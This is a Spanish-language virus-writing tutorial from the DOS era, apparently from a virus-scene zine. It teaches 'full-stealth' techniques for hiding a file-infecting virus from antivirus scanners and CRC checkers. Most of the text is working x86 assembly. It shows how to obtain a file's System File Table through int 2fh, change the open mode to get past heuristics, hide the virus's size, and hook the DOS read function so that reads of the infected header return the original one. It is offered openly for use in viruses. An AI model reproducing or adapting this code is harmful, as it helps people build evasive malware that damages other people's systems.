ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Full-stealth ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Muy buenas de nuevo, aqu¡ estoy otra vez con otro informe; esta vez sobre c¢mo currarnos unas buenas full-stealth; todos sabemos que con unas t‚cni- cas de tipo dir-stealth (con 11h/12h, 4eh/4fh) nos cepillamos a una buena cantidad de pardillos }:-) Pero cuidad¡n, esto es la ‚lite. Me parece rid¡culo ponerme a 'explicar' c¢mo funcionan estas stealth, as¡ que vamos a atacar con esto al sector de los no tan pardillos que hasta se aventuran a explorar sus ficheros con e- ditores tipo PC-Tewlz para saber si est n infectados. En realidad, esto que voy a explicar es una de las cosas m s f ciles en la programaci¢n de un virus, y creo que merece la pena gastar una irrisoria cantidad de bytes si tenemos en cuenta los resultados que ‚stos nos repor- tan ;-) Como siempre, vamos a analizar primero cu l es la idea de las t‚cnicas full-stealth; pues se¤ores p¡os, es algo tan sencillo como evitar ser des- cubiertos cuando alg£n listillo abra el fichero (que conste que este lis- tillo tambi‚n puede ser un AV). Hay mucha gente que usa el disinfect on da fly y el infect on close (incluso hay quien no se molesta en hacer esto £ltimo; y, por cierto, una cosa que tendr¡amos que ver un d¡a de ‚stos se- r¡an las ventajas de este tipo de infecci¢n... 3eh roqs :) Como iba diciendo, hay gente que usa el disinfect on the fly, pero, adem s de perder una cantidad considerable de bytes, es menos 'sutil' (enti‚ndase esto por antiheur¡stico) y tambi‚n menos efectivo. Sin embargo, las full-stealth se encargan de enga¤ar literalmente al sis- tema operativo, dici‚ndole a ‚ste y a cualquier componente suyo que en un determinado momento est‚ leyendo un fichero infectado que el fichero est  limpio. Algunos autores de virus se comen demasiado el tarro, controlando la DTA, interceptando el movimiento de los punteros, etc. etc. Sin embar- go, tenemos unas tablitas en teor¡a indocumentadas (hoy en d¡a, m s docu- mentadas que el cop¢n) llamadas SFTs (System File Tables) que contienen diversa informaci¢n sobre los ficheros. Tirando de Ralph Brown, aqu¡ os ense¤o su formato y la info que contienen (pongo s¢lo los offsets que nos interesan; el que quiera m s info, que la busque): Offset Tama¤o Descripci¢n ÄÄÄÄÄÄ 3bh bytes por fichero ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ [...] 02h WORD Modo de apertura (AL en 3dh) 04h BYTE Atributos del fichero [...] 11h DWORD Tama¤o del fichero 15h DWORD Offset actual en el fichero [...] Una vez visto esto... ¨sab‚is por d¢nde voy? bueno, pues s¡, est  claro; por medio de las SFTs podemos cambiar el modo de apertura, los atributos del fichero, su tama¤o y el offset actual, entre otras muchas cosas que en principio no tendr¡an por qu‚ interesarle a ning£n autor de virus :-) Otra preguntita m s: ¨c¢mo obtener la SFT correspondiente al fichero que tenemos abierto? muy f cil, usando esa interrupci¢n que tanto me gusta, y que est  menos explorada que el oc‚ano, la 2fh. ; Entramos en esta rutina con el handle del fichero en BX ; Salimos apuntando a la SFT del fichero con ES:DI ; No os olvid‚is de hacer los push/pop de los registros afectados ;-D get_sft: push ax bx ;-) mov ax,1220h ; Obtenemos la job file table int 2fh ; en ES:DI (s¢lo DOS 3+) jc bad_sft ; En caso de error... Murphy... :) xor bx,bx ; Importante mov bl,byte ptr es:[di] ; Obtenemos el n£mero de la ; SFT para nuestro handle mov ax,1216h ; Obtenemos la direcci¢n de la int 2fh ; SFT especificada en BX bad_sft: pop bx ax ret ; Si es subrutina, claro :) Tras hacer esto, como dije arriba, tenemos la SFT correspondiente al fi- chero en ES:DI. Y ahora es cuando empezamos a dejar volar nuestra imagina- ci¢n. Antes de nada, aunque no sea nada relacionado con las full-stealth, vamos a ver una interesante aplicaci¢n antiheur¡stica; imaginaros esto: ; Un fichero va a ser ejecutado, y nuestro virus intercepta la 4bh ; Se supone que ya hemos guardado todos los registros afectados :) ; DS:DX apunta al nombre del fichero infect_file: mov ax,3d00h ; Abrimos el fichero en read-only int 21h xchg bx,ax ; Pasamos el handle a BX call get_sft ; Obtenemos la SFT del fichero mov word ptr es:[di+2],2 ; Y ahora... read/write €:-) [...] En este ejemplo vemos c¢mo nos saltaremos multitud de heur¡sticas, resi- dentes y dem s cala¤a, ya que la mayor¡a s¢lo cantan en caso de que abra- mos el fichero con 3d02h (read/write). Arriba hacemos exactamente lo mis- mo, ya que con la £ltima instrucci¢n modificamos el puntero que hay en el offset 2 de la SFT, que corresponde al modo de apertura };-) Bueno, a lo que ¡bamos. Como habr‚is comprobado, el obtener la SFT del fi- chero que vamos a infectar es como tener la llave con la que abriremos to- das las puertas que nos d‚ la gana. Ser¡a grandioso hacer una infecci¢n en la apertura (3dh) y, tras haberla llevado a cabo, ocultarnos de forma su- brepticia. El m‚todo es muy sencillo: si restamos al puntero que contiene el tama¤o del fichero el tama¤o de nuestro virus, al DOS o a cualquier programa que se est‚ ejecutando le ser  *imposible* acceder a este trozo de c¢digo -el virus- que hemos ocultado. Es decir, que un antivirus no se- r  capaz de escanear m s que el cuerpo del fichero original. Fijaros c¢mo se hace lo que os acabo de decir: ; Hemos acabado de infectar el fichero. Antes de salir, restamos nuestro ; tama¤o de la SFT correspondiente al fichero. [...] sub word ptr es:[di+11h],offset virus_size sbb word ptr es:[di+13h],0 w0w... that's all folks. Con el virus en memoria y este detallito de nada, ya tenemos la seguridad de que ning£n antivirus nos detectar . Ahora nos quedan dos asuntos pendientes: el primero, los CRCs, y el segundo, que va- le, ahora el usuario avispado no nota ning£n crecimiento, ni siquiera tras abrir el fichero y hacer un lseek hasta el final, pero... ¨y la cabecera? Estos dos problemas los resolvemos con la misma y £nica soluci¢n. A¤adamos a nuestro virus la intercepci¢n de la funci¢n 3fh. Por supuesto, y ya que es imposible leer sin haber abierto previamente, el cuerpo del virus ya habr  'desaparecido' de la SFT, por lo que s¢lo nos ocuparemos de la cabe- cera. Tenemos que redireccionar las lecturas de la misma y apuntar a la o- riginal, de forma que el usuario ahora ya no notar  ning£n cambio... como tampoco lo notar n los chequeadores por CRC };-) Os pongo a continuaci¢n las stealth de lectura, porque as¡ lo veremos todo mucho mejor que si me enrollo con explicaciones: ; Hemos interceptado la funci¢n 3fh ; Todas las lecturas llegar n aqu¡ antes de ejecutarse read_stealth: push es di ; Guardamos registros call get_sft ; Obtenemos SFT del fichero call infected? ; Miramos si est  infectado j? stealth_me ; El salto que corresponda :) normal_read: pop di es ; Restauramos los registros jump_to_it: db 0eah ; Y saltamos a la int 21h old_int_21h: dw 0,0 ; original read_pointer dw 0 ; Variable para el puntero ; de lectura ; Ahora comprobamos si el fulano est  leyendo m s de la cuenta, es decir, ; si la lectura ha pasado la cabecera, por lo que ya no hay peligro. Para ; este ejemplo he tomado la cabecera de un COM, la est ndar de tres bytes, ; ya que para un virus stealth es mejor tener una marca de infecci¢n en el ; campo de los segundos, o algo por el estilo. stealth_me: cmp word ptr es:[di+17h],0 ; ¨Est  leyendo m s de la jne normal_read ; cuenta? -> lectura normal cmp word ptr es:[di+15h],3 ; ¨Ha superado los tres jae normal_read ; bytes de la cabecera? ; Ahora ya sabemos que est  leyendo la cabecera. El paso siguiente ser  ; guardar el puntero de lectura en nuestra variable y ejecutar la lectura, ; para luego modificar lo que nos haga falta. push word ptr es:[di+15h] ; El offset est  en 15h pop word ptr cs:read_pointer ; Lo almacenamos pop di es ; Recuperamos registros call old_21h ; Y hacemos la lectura push ax bx cx dx ; Guardamos todos los push si di es ; registros afectados, pushf ; flags inclu¡das :-) mov ax,word ptr cs:read_pointer ; Movemos el puntero call get_sft ; a AX y obtenemos la SFT add ax,cx ; ¨Se ha pasado el t¡o jc too_much_read ; con la lectura? cmp ax,3 ; Miramos si est  leyendo jbe read_header ; la cabecera... too_much_read: sub ax,cx ; En caso de que se haya mov cx,3 ; pasado el t¡o, hacemos sub cx,ax ; unos arreglillos y nos jmp short dont_sub ; ponemos manos a la obra ; Bien, y ahora es cuando redirigimos la lectura de la cabecera infectada ; a la original. Pero... si la cabecera original est  en el cuerpo del vi- ; rus... y el cuerpo del virus nos lo cepillamos de la SFT... ni siquiera ; nosotros podemos acceder. A no ser que, claro est , volvamos a sumarle ; nuestro tama¤o ;-) read_header: sub ax,cx ; AX=ptr CX=bytes a leer dont_sub: push word ptr es:[di+17h] ; Guardamos en la pila push word ptr es:[di+15h] ; el puntero actual push word ptr es:[di+13h] ; Y tambi‚n el tama¤o push word ptr es:[di+11h] ; (trucado) del fichero add word ptr es:[di+11h],offset virus_size adc word ptr es:[di+13h],0 ; Le sumamos el virus ; para as¡ poder hacer ; que la lectura apunte ; a la cabecera original push word ptr es:[di+11h] ; Con las siguientes pop word ptr es:[di+15h] ; cuatro instrucciones ; hacemos que el puntero push word ptr es:[di+13h] ; apunte al tama¤o del pop word ptr es:[di+17h] ; fichero con el virus sub word ptr es:[di+15h],3 ; Recuperamos el tama¤o sbb word ptr es:[di+17h],0 ; de la cabecera add word ptr es:[di+15h],ax ; Sumamos el tama¤o del adc word ptr es:[di+17h],0 ; puntero de lectura mov ah,3fh ; Leemos, llamando a la call old_21h ; int 21h original pop word ptr es:[di+11h] ; Restauramos el tama¤o pop word ptr es:[di+13h] ; (trucado) del fichero pop word ptr es:[di+15h] ; Restauramos el offset pop word ptr es:[di+17h] ; o puntero de lectura popf ; Recuperamos flags y pop es di si ; registros previamente pop dx cx bx ax ; almacenados en la pila retf 2 ; iret con flags ;-) ; Y por aqu¡ os pongo el  rea de subrutinas u otras variables necesarias, ; aunque ya s‚ que de todas maneras no os har¡a falta :) old_21h: call jump_to_it ; Llamada a la int 21h ret ; original virus_size equ virus_end-virus_start ; Tama¤o del virus infected?: [...] ; Rutina de comprobaci¢n de la marca de infecci¢n Ya hab‚is visto qu‚ sencillito es, y os aseguro que los resultados que dan estas full-stealth las hacen dignas de ser inclu¡das en todos los virus. Espero que si ten‚is alguna observaci¢n, duda, cr¡tica, sugerencia, etc. me la hag is :-) H‚ctor Barca,